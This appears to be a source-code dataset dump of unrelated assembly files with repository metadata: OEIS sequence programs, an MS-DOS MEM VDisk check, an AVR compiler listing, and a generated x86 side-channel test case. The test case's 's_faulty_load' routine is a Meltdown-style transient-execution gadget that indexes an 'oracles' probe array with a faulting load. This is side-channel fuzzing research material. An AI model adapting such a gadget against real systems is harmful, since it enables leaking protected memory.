1047: 85 c0 test %eax,%eax
1049: 79 07 jns 1052 <mesa_cond_signal+0x6b>
return -1;
104b: b8 ff ff ff ff mov $0xffffffff,%eax
1050: eb 05 jmp 1057 <mesa_cond_signal+0x70>
}
return 0;
1052: b8 00 00 00 00 mov $0x0,%eax
}
1057: c9 leave
1058: c3 ret
| 37.772003
| 80
| 0.440038
|
c5f71feed002dc2ea627d7065b8ced734f4b4195
| 332
|
asm
|
Assembly
|
programs/oeis/108/A108922.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | 1
|
2021-03-15T11:38:20.000Z
|
2021-03-15T11:38:20.000Z
|
programs/oeis/108/A108922.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
programs/oeis/108/A108922.asm
|
jmorken/loda
|
99c09d2641e858b074f6344a352d13bc55601571
|
[
"Apache-2.0"
] | null | null | null |
; A108922: Expansion of 1/((x^8+1)*(x-1)^2).
; 1,2,3,4,5,6,7,8,8,8,8,8,8,8,8,8,9,10,11,12,13,14,15,16,16,16,16,16,16,16,16,16,17,18,19,20,21,22,23,24,24,24,24,24,24,24,24,24,25,26,27,28,29,30,31,32,32,32,32,32,32,32,32,32,33,34,35,36,37,38,39,40,40,40,40
add $0,1
lpb $0
sub $0,8
add $2,8
trn $0,$2
add $0,$2
lpe
mov $1,$0
| 27.666667
| 209
| 0.587349
|
fe83784f9d66dc97c4eb29e751ce727c462886c9
| 395
|
asm
|
Assembly
|
programs/oeis/082/A082511.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/082/A082511.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/082/A082511.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A082511: a(n) = 3^n mod 2n.
; 1,1,3,1,3,9,3,1,9,9,3,9,3,9,27,1,3,9,3,1,27,9,3,33,43,9,27,25,3,9,3,1,27,9,47,9,3,9,27,1,3,57,3,81,63,9,3,33,31,49,27,81,3,81,67,65,27,9,3,81,3,9,27,1,113,69,3,81,27,109,3,81,3,9,57,81,75,105,3,1,81,9,3,57,73,9,27,49,3,9,3,81,27,9,167,129,3,177,81,1
add $0,1
mov $2,$0
lpb $0
sub $0,1
add $1,1
mod $1,$2
mul $1,3
lpe
div $1,3
mul $1,2
add $1,1
mov $0,$1
| 24.6875
| 251
| 0.564557
|
0c7cfd10c296c8f55e6f25d2699286c5b6171f36
| 5,652
|
asm
|
Assembly
|
cmd/mem/chkvdisk.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/mem/chkvdisk.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
cmd/mem/chkvdisk.asm
|
minblock/msdos
|
479ffd237d9bb7cc83cb06361db2c4ef42dfbac0
|
[
"Apache-2.0"
] | null | null | null |
;/*
; * Microsoft Confidential
; * Copyright (C) Microsoft Corporation 1988 - 1991
; * All Rights Reserved.
; */
; Check for existence of a VDisk header. Check the beginning of the segment
; addressed by the INT 19 vector, and, if XMS is available to give us
; A20 toggling, check at the 1Mb boundary. We don't do the latter check
; if we can't do the A20 switch.
;
; Return the size of the VDisk if found.
;
; Checking for a VDISK header at 1Mb is currently disabled. This is because
; the XMS calls used to access the HMA will cause INT 15 memory to
; be claimed if there are currently no Himem or XMS users, and the MEM
; command shouldn't disturb the memory environment in that way.
; We rely on VDisk allocators to use the INT 19 approach to signal
; their memory usage. According to Ray Duncan, this may not be
; entirely reliable, but this is probably better than adding the
; code necessary to do lots of INT 15 block moves to interrogate
; the extended memory arena.
CHECKXMS equ 0 ; set to non-zero to enable checking
; of the HMA for VDisk headers.
.MODEL SMALL
.CODE
extrn _XMM_Installed :Near
extrn _XMM_QueryA20 :Near
extrn _XMM_EnableA20 :Near
extrn _XMM_DisableA20 :Near
;----------------------------------------------------------------------------
;
; following piece of code will be moved into a para boundary. And the para
; address posted in seg of int 19h vector. Offset of int 19h will point to
; VDint19. This is to protect HMA from apps which use VDISK header method
; to determine free extended memory.
;
; For more details read "power programming" column by Ray Duncan in the
; May 30 1989 issue of PC Magazine (pp 377-388) [USING EXTENDED MEMORY,PART 1]
;
;----------------------------------------------------------------------------
;
StartVDHead label byte
;
;-------------- what follows is a dummy device driver header (not used by DOS)
;
dd 0 ; link to next device driver
dw 8000h ; device attribute
dw 0 ; strategy routine offset
dw 0 ; interrupt routine offset
db 1 ; number of units
db 7 dup(0) ; reserved area
VDiskSig1 db 'VDISK'
VLEN1 equ ($-offset VDiskSig1)
db ' V3.3' ; vdisk label
db 15 dup (0) ; pad
VDiskEnd1 dw 0 ; bits 0-15 of free HMA
db 11h ; bits 16-23 of free HMA (1M + 64K)
VDInt19:
db 0eah ; jmp to old vector
OldVDInt19 dd ? ; Saved int 19 vector
EndVDHead label byte
;
;
VDiskHMAHead db 0,0,0 ; non-bootable disk
VDiskSig2 db 'VDISK'
VLEN2 equ ($-offset VDiskSig2)
db '3.3' ; OEM - signature
dw 128 ; number of bytes/sector
db 1 ; sectors/cluster
dw 1 ; reserved sectors
db 1 ; number of FAT copies
dw 64 ; number of root dir entries
dw 512 ; number of sectors
db 0feh ; media descriptor
dw 6 ; number of sectors/FAT
dw 8 ; sectors per track
dw 1 ; number of heads
dw 0 ; number of hodden sectors
VDiskEnd2 dw 440h ; Start of free HMA in K (1M+64K)
EndVDiskHMAHead label byte
;
;
;----------------------------------------------------------------------------
;
; procedure : IsVDiskInstalled
;
; Checks for the presence of VDISK header at 1MB boundary
; & INT 19 vector. Returns number of Kb used as Vdisk
;
; Inputs : none
; Outputs : AX = size of VDisk in Kb, 0 if none found
; Uses : AX, CX
;
;----------------------------------------------------------------------------
;
public _CheckVDisk
_CheckVDisk proc near
push bp
push si ; Save regs
push di
push es
push ds
mov ax,3519h ; Get Int Vector 19h
int 21h
; set registers for CMPS
mov di, offset VDiskSig1 - offset StartVDHead
mov cx, VLEN1
push cs
pop ds
mov si, offset VDiskSig1
rep cmpsb
IF NOT CHECKXMS
jnz cvd_NoDisk
ELSE
jnz cvd_checkXMS ; jump if we didn't find it
ENDIF
;
; Get the first free address in Kb, and determine the number of Kb used
; above 1Mb. First free address in a 24-bit address, so divide by 1024
; to get number of Kb
;
mov di,offset VDiskEnd1 - offset StartVDHead
mov ax,es:[di]+1 ; load top 16 bits of end address
shr ax,1
shr ax,1 ; fast divide of 24 bits by 1024
test es:[di],03FFh ; check for rounding
jz @F
inc ax ; round up if needed
@@:
IF NOT CHECKXMS
jmp short cvd_End
ELSE
pop ds ; clear top of stack
jmp short cvd_End ; AX now has size in Kb
;
; Ensure that A20 is on before we check above 1Mb. If XMS is not
; installed, we punt, and assume no VDisk
;
cvd_checkXMS:
pop ds ; get DS again
call _XMM_Installed
or ax,ax
jz cvd_NoDisk ; No XMS, assume no VDisk
;
; Get and save current A20 state, get A20 on
;
call _XMM_QueryA20
push ax ; save current state
or ax,ax ; already on?
jnz cvd_A20On ; yes, don't turn it on
call _XMM_EnableA20 ; turn it on
cvd_A20On:
push ds ; save DS again
mov ax, 0ffffh
mov ds, ax
mov si, 10h+(offset VDiskSig2 - offset VDiskHMAHead)
mov ax,cs
mov es,ax
mov di, offset VDiskSig2
mov cx, VLEN2
rep cmpsb
jne @F ; if no header, turn off A20 now
; get first free address in Kb
mov si,offset VDiskEnd2 - offset VDiskHMAHead
mov ax,[si]
@@:
pop ds ; get original DS again
pop ax ; get original A20 state
pushf ; save result of header check
or ax,ax ; was A20 already on?
jnz @F ; jump if yes
call _XMM_DisableA20 ; else turn it off again
@@:
popf ; get result of header check
je cvd_End ; jump if present
ENDIF ; CHECKXMS
cvd_NoDisk:
mov ax,1024 ; set up to return 0
cvd_End:
sub ax,1024 ; discount first 1Mb from first
; free address to get size in Kb
IF NOT CHECKXMS
pop ds
ENDIF
pop es
pop di
pop si
pop bp
ret
_CheckVDisk endp
end
| 26.046083
| 78
| 0.653928
|
792152db0c014e10eefa01ecd28d250a4e294ee7
| 377
|
asm
|
Assembly
|
programs/oeis/203/A203310.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 22
|
2018-02-06T19:19:31.000Z
|
2022-01-17T21:53:31.000Z
|
programs/oeis/203/A203310.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 41
|
2021-02-22T19:00:34.000Z
|
2021-08-28T10:47:47.000Z
|
programs/oeis/203/A203310.asm
|
neoneye/loda
|
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
|
[
"Apache-2.0"
] | 5
|
2021-02-24T21:14:16.000Z
|
2021-08-09T19:48:05.000Z
|
; A203310: a(n) = A203309(n+1)/A203309(n).
; 2,15,252,7560,356400,24324300,2270268000,277880803200,43197833952000,8315583035760000,1942008468966720000,540988073497872000000,177227692877902867200000,67457290601651778828000000
add $0,1
mov $1,$0
mov $2,$0
lpb $0
mul $2,2
div $2,$1
lpb $0
add $3,1
add $3,$0
sub $0,1
mul $2,$3
lpe
lpe
mov $0,$2
div $0,2
| 19.842105
| 181
| 0.692308
|
521fbc2a7f1fde3abfa0a140e5ab39c28bd87e0d
| 6,755
|
asm
|
Assembly
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_302.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 9
|
2020-08-13T19:41:58.000Z
|
2022-03-30T12:22:51.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_302.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 1
|
2021-04-29T06:29:35.000Z
|
2021-05-13T21:02:30.000Z
|
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0xca_notsx.log_21829_302.asm
|
ljhsiun2/medusa
|
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
|
[
"MIT"
] | 3
|
2020-07-14T17:07:07.000Z
|
2022-03-21T01:12:22.000Z
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r14
push %r15
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x188a0, %r15
xor $52745, %r12
movw $0x6162, (%r15)
nop
lfence
lea addresses_D_ht+0x140c0, %r12
nop
nop
nop
nop
sub %r13, %r13
mov $0x6162636465666768, %rbx
movq %rbx, %xmm6
movups %xmm6, (%r12)
nop
nop
xor %r15, %r15
lea addresses_normal_ht+0x81b5, %rbx
nop
nop
nop
nop
nop
cmp %r13, %r13
mov $0x6162636465666768, %r15
movq %r15, %xmm3
vmovups %ymm3, (%rbx)
nop
nop
xor $33553, %r14
lea addresses_D_ht+0xea0, %r12
nop
nop
nop
nop
sub %r14, %r14
mov (%r12), %r15
nop
nop
nop
cmp %r14, %r14
lea addresses_WC_ht+0x17760, %r13
nop
nop
nop
nop
sub $36420, %r10
mov (%r13), %r15w
nop
add $58556, %rbx
lea addresses_D_ht+0x1e8a0, %rsi
lea addresses_WC_ht+0xbd60, %rdi
nop
nop
nop
nop
nop
sub $38259, %r10
mov $37, %rcx
rep movsl
nop
nop
nop
sub %rcx, %rcx
lea addresses_WT_ht+0x585c, %r10
nop
add $43643, %rbx
vmovups (%r10), %ymm1
vextracti128 $0, %ymm1, %xmm1
vpextrq $1, %xmm1, %rdi
nop
nop
inc %r15
lea addresses_A_ht+0x2ca0, %rbx
nop
nop
nop
dec %r14
mov (%rbx), %r13
nop
nop
inc %r13
lea addresses_UC_ht+0x14a0, %rsi
lea addresses_A_ht+0x1ddda, %rdi
nop
cmp %r14, %r14
mov $29, %rcx
rep movsb
nop
nop
xor %r13, %r13
lea addresses_WC_ht+0xb4a0, %rbx
clflush (%rbx)
dec %r10
vmovups (%rbx), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $0, %xmm5, %rdi
nop
nop
nop
nop
xor %r14, %r14
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r15
pop %r14
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r15
push %r8
push %r9
push %rbx
push %rdx
// Store
lea addresses_WC+0x1512c, %r9
clflush (%r9)
nop
nop
add %r15, %r15
movw $0x5152, (%r9)
nop
nop
nop
and %r9, %r9
// Faulty Load
lea addresses_WT+0xb4a0, %rbx
clflush (%rbx)
nop
nop
nop
xor %rdx, %rdx
movups (%rbx), %xmm1
vpextrq $1, %xmm1, %r8
lea oracles, %r10
and $0xff, %r8
shlq $12, %r8
mov (%r10,%r8,1), %r8
pop %rdx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 2, 'NT': True, 'type': 'addresses_WC', 'size': 2, 'AVXalign': True}}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_WT', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 10, 'NT': True, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_D_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}}
{'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_A_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_A_ht', 'congruent': 1, 'same': False}}
{'src': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 32, 'AVXalign': False}, 'OP': 'LOAD'}
{'39': 21829}
39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 35.930851
| 2,999
| 0.656551
|
8a2ba98952ef8ab0045d38e17c3b4679331773ea
| 67,673
|
asm
|
Assembly
|
Code/Debug/List/final.asm
|
sadrasabouri/CrowdControl
|
ae629413fa98bd4db752bff372a3154e69a172df
|
[
"MIT"
] | null | null | null |
Code/Debug/List/final.asm
|
sadrasabouri/CrowdControl
|
ae629413fa98bd4db752bff372a3154e69a172df
|
[
"MIT"
] | null | null | null |
Code/Debug/List/final.asm
|
sadrasabouri/CrowdControl
|
ae629413fa98bd4db752bff372a3154e69a172df
|
[
"MIT"
] | null | null | null |
;CodeVisionAVR C Compiler V3.12 Advanced
;(C) Copyright 1998-2014 Pavel Haiduc, HP InfoTech s.r.l.
;http://www.hpinfotech.com
;Build configuration : Debug
;Chip type : ATmega32
;Program type : Application
;Clock frequency : 8.000000 MHz
;Memory model : Small
;Optimize for : Size
;(s)printf features : int, width
;(s)scanf features : int, width
;External RAM size : 0
;Data Stack size : 512 byte(s)
;Heap size : 0 byte(s)
;Promote 'char' to 'int': Yes
;'char' is unsigned : Yes
;8 bit enums : Yes
;Global 'const' stored in FLASH: No
;Enhanced function parameter passing: Yes
;Enhanced core instructions: On
;Automatic register allocation for global variables: On
;Smart register allocation: On
#define _MODEL_SMALL_
#pragma AVRPART ADMIN PART_NAME ATmega32
#pragma AVRPART MEMORY PROG_FLASH 32768
#pragma AVRPART MEMORY EEPROM 1024
#pragma AVRPART MEMORY INT_SRAM SIZE 2048
#pragma AVRPART MEMORY INT_SRAM START_ADDR 0x60
#define CALL_SUPPORTED 1
.LISTMAC
.EQU UDRE=0x5
.EQU RXC=0x7
.EQU USR=0xB
.EQU UDR=0xC
.EQU SPSR=0xE
.EQU SPDR=0xF
.EQU EERE=0x0
.EQU EEWE=0x1
.EQU EEMWE=0x2
.EQU EECR=0x1C
.EQU EEDR=0x1D
.EQU EEARL=0x1E
.EQU EEARH=0x1F
.EQU WDTCR=0x21
.EQU MCUCR=0x35
.EQU GICR=0x3B
.EQU SPL=0x3D
.EQU SPH=0x3E
.EQU SREG=0x3F
.DEF R0X0=R0
.DEF R0X1=R1
.DEF R0X2=R2
.DEF R0X3=R3
.DEF R0X4=R4
.DEF R0X5=R5
.DEF R0X6=R6
.DEF R0X7=R7
.DEF R0X8=R8
.DEF R0X9=R9
.DEF R0XA=R10
.DEF R0XB=R11
.DEF R0XC=R12
.DEF R0XD=R13
.DEF R0XE=R14
.DEF R0XF=R15
.DEF R0X10=R16
.DEF R0X11=R17
.DEF R0X12=R18
.DEF R0X13=R19
.DEF R0X14=R20
.DEF R0X15=R21
.DEF R0X16=R22
.DEF R0X17=R23
.DEF R0X18=R24
.DEF R0X19=R25
.DEF R0X1A=R26
.DEF R0X1B=R27
.DEF R0X1C=R28
.DEF R0X1D=R29
.DEF R0X1E=R30
.DEF R0X1F=R31
.EQU __SRAM_START=0x0060
.EQU __SRAM_END=0x085F
.EQU __DSTACK_SIZE=0x0200
.EQU __HEAP_SIZE=0x0000
.EQU __CLEAR_SRAM_SIZE=__SRAM_END-__SRAM_START+1
.MACRO __CPD1N
CPI R30,LOW(@0)
LDI R26,HIGH(@0)
CPC R31,R26
LDI R26,BYTE3(@0)
CPC R22,R26
LDI R26,BYTE4(@0)
CPC R23,R26
.ENDM
.MACRO __CPD2N
CPI R26,LOW(@0)
LDI R30,HIGH(@0)
CPC R27,R30
LDI R30,BYTE3(@0)
CPC R24,R30
LDI R30,BYTE4(@0)
CPC R25,R30
.ENDM
.MACRO __CPWRR
CP R@0,R@2
CPC R@1,R@3
.ENDM
.MACRO __CPWRN
CPI R@0,LOW(@2)
LDI R30,HIGH(@2)
CPC R@1,R30
.ENDM
.MACRO __ADDB1MN
SUBI R30,LOW(-@0-(@1))
.ENDM
.MACRO __ADDB2MN
SUBI R26,LOW(-@0-(@1))
.ENDM
.MACRO __ADDW1MN
SUBI R30,LOW(-@0-(@1))
SBCI R31,HIGH(-@0-(@1))
.ENDM
.MACRO __ADDW2MN
SUBI R26,LOW(-@0-(@1))
SBCI R27,HIGH(-@0-(@1))
.ENDM
.MACRO __ADDW1FN
SUBI R30,LOW(-2*@0-(@1))
SBCI R31,HIGH(-2*@0-(@1))
.ENDM
.MACRO __ADDD1FN
SUBI R30,LOW(-2*@0-(@1))
SBCI R31,HIGH(-2*@0-(@1))
SBCI R22,BYTE3(-2*@0-(@1))
.ENDM
.MACRO __ADDD1N
SUBI R30,LOW(-@0)
SBCI R31,HIGH(-@0)
SBCI R22,BYTE3(-@0)
SBCI R23,BYTE4(-@0)
.ENDM
.MACRO __ADDD2N
SUBI R26,LOW(-@0)
SBCI R27,HIGH(-@0)
SBCI R24,BYTE3(-@0)
SBCI R25,BYTE4(-@0)
.ENDM
.MACRO __SUBD1N
SUBI R30,LOW(@0)
SBCI R31,HIGH(@0)
SBCI R22,BYTE3(@0)
SBCI R23,BYTE4(@0)
.ENDM
.MACRO __SUBD2N
SUBI R26,LOW(@0)
SBCI R27,HIGH(@0)
SBCI R24,BYTE3(@0)
SBCI R25,BYTE4(@0)
.ENDM
.MACRO __ANDBMNN
LDS R30,@0+(@1)
ANDI R30,LOW(@2)
STS @0+(@1),R30
.ENDM
.MACRO __ANDWMNN
LDS R30,@0+(@1)
ANDI R30,LOW(@2)
STS @0+(@1),R30
LDS R30,@0+(@1)+1
ANDI R30,HIGH(@2)
STS @0+(@1)+1,R30
.ENDM
.MACRO __ANDD1N
ANDI R30,LOW(@0)
ANDI R31,HIGH(@0)
ANDI R22,BYTE3(@0)
ANDI R23,BYTE4(@0)
.ENDM
.MACRO __ANDD2N
ANDI R26,LOW(@0)
ANDI R27,HIGH(@0)
ANDI R24,BYTE3(@0)
ANDI R25,BYTE4(@0)
.ENDM
.MACRO __ORBMNN
LDS R30,@0+(@1)
ORI R30,LOW(@2)
STS @0+(@1),R30
.ENDM
.MACRO __ORWMNN
LDS R30,@0+(@1)
ORI R30,LOW(@2)
STS @0+(@1),R30
LDS R30,@0+(@1)+1
ORI R30,HIGH(@2)
STS @0+(@1)+1,R30
.ENDM
.MACRO __ORD1N
ORI R30,LOW(@0)
ORI R31,HIGH(@0)
ORI R22,BYTE3(@0)
ORI R23,BYTE4(@0)
.ENDM
.MACRO __ORD2N
ORI R26,LOW(@0)
ORI R27,HIGH(@0)
ORI R24,BYTE3(@0)
ORI R25,BYTE4(@0)
.ENDM
.MACRO __DELAY_USB
LDI R24,LOW(@0)
__DELAY_USB_LOOP:
DEC R24
BRNE __DELAY_USB_LOOP
.ENDM
.MACRO __DELAY_USW
LDI R24,LOW(@0)
LDI R25,HIGH(@0)
__DELAY_USW_LOOP:
SBIW R24,1
BRNE __DELAY_USW_LOOP
.ENDM
.MACRO __GETD1S
LDD R30,Y+@0
LDD R31,Y+@0+1
LDD R22,Y+@0+2
LDD R23,Y+@0+3
.ENDM
.MACRO __GETD2S
LDD R26,Y+@0
LDD R27,Y+@0+1
LDD R24,Y+@0+2
LDD R25,Y+@0+3
.ENDM
.MACRO __PUTD1S
STD Y+@0,R30
STD Y+@0+1,R31
STD Y+@0+2,R22
STD Y+@0+3,R23
.ENDM
.MACRO __PUTD2S
STD Y+@0,R26
STD Y+@0+1,R27
STD Y+@0+2,R24
STD Y+@0+3,R25
.ENDM
.MACRO __PUTDZ2
STD Z+@0,R26
STD Z+@0+1,R27
STD Z+@0+2,R24
STD Z+@0+3,R25
.ENDM
.MACRO __CLRD1S
STD Y+@0,R30
STD Y+@0+1,R30
STD Y+@0+2,R30
STD Y+@0+3,R30
.ENDM
.MACRO __POINTB1MN
LDI R30,LOW(@0+(@1))
.ENDM
.MACRO __POINTW1MN
LDI R30,LOW(@0+(@1))
LDI R31,HIGH(@0+(@1))
.ENDM
.MACRO __POINTD1M
LDI R30,LOW(@0)
LDI R31,HIGH(@0)
LDI R22,BYTE3(@0)
LDI R23,BYTE4(@0)
.ENDM
.MACRO __POINTW1FN
LDI R30,LOW(2*@0+(@1))
LDI R31,HIGH(2*@0+(@1))
.ENDM
.MACRO __POINTD1FN
LDI R30,LOW(2*@0+(@1))
LDI R31,HIGH(2*@0+(@1))
LDI R22,BYTE3(2*@0+(@1))
LDI R23,BYTE4(2*@0+(@1))
.ENDM
.MACRO __POINTB2MN
LDI R26,LOW(@0+(@1))
.ENDM
.MACRO __POINTW2MN
LDI R26,LOW(@0+(@1))
LDI R27,HIGH(@0+(@1))
.ENDM
.MACRO __POINTW2FN
LDI R26,LOW(2*@0+(@1))
LDI R27,HIGH(2*@0+(@1))
.ENDM
.MACRO __POINTD2FN
LDI R26,LOW(2*@0+(@1))
LDI R27,HIGH(2*@0+(@1))
LDI R24,BYTE3(2*@0+(@1))
LDI R25,BYTE4(2*@0+(@1))
.ENDM
.MACRO __POINTBRM
LDI R@0,LOW(@1)
.ENDM
.MACRO __POINTWRM
LDI R@0,LOW(@2)
LDI R@1,HIGH(@2)
.ENDM
.MACRO __POINTBRMN
LDI R@0,LOW(@1+(@2))
.ENDM
.MACRO __POINTWRMN
LDI R@0,LOW(@2+(@3))
LDI R@1,HIGH(@2+(@3))
.ENDM
.MACRO __POINTWRFN
LDI R@0,LOW(@2*2+(@3))
LDI R@1,HIGH(@2*2+(@3))
.ENDM
.MACRO __GETD1N
LDI R30,LOW(@0)
LDI R31,HIGH(@0)
LDI R22,BYTE3(@0)
LDI R23,BYTE4(@0)
.ENDM
.MACRO __GETD2N
LDI R26,LOW(@0)
LDI R27,HIGH(@0)
LDI R24,BYTE3(@0)
LDI R25,BYTE4(@0)
.ENDM
.MACRO __GETB1MN
LDS R30,@0+(@1)
.ENDM
.MACRO __GETB1HMN
LDS R31,@0+(@1)
.ENDM
.MACRO __GETW1MN
LDS R30,@0+(@1)
LDS R31,@0+(@1)+1
.ENDM
.MACRO __GETD1MN
LDS R30,@0+(@1)
LDS R31,@0+(@1)+1
LDS R22,@0+(@1)+2
LDS R23,@0+(@1)+3
.ENDM
.MACRO __GETBRMN
LDS R@0,@1+(@2)
.ENDM
.MACRO __GETWRMN
LDS R@0,@2+(@3)
LDS R@1,@2+(@3)+1
.ENDM
.MACRO __GETWRZ
LDD R@0,Z+@2
LDD R@1,Z+@2+1
.ENDM
.MACRO __GETD2Z
LDD R26,Z+@0
LDD R27,Z+@0+1
LDD R24,Z+@0+2
LDD R25,Z+@0+3
.ENDM
.MACRO __GETB2MN
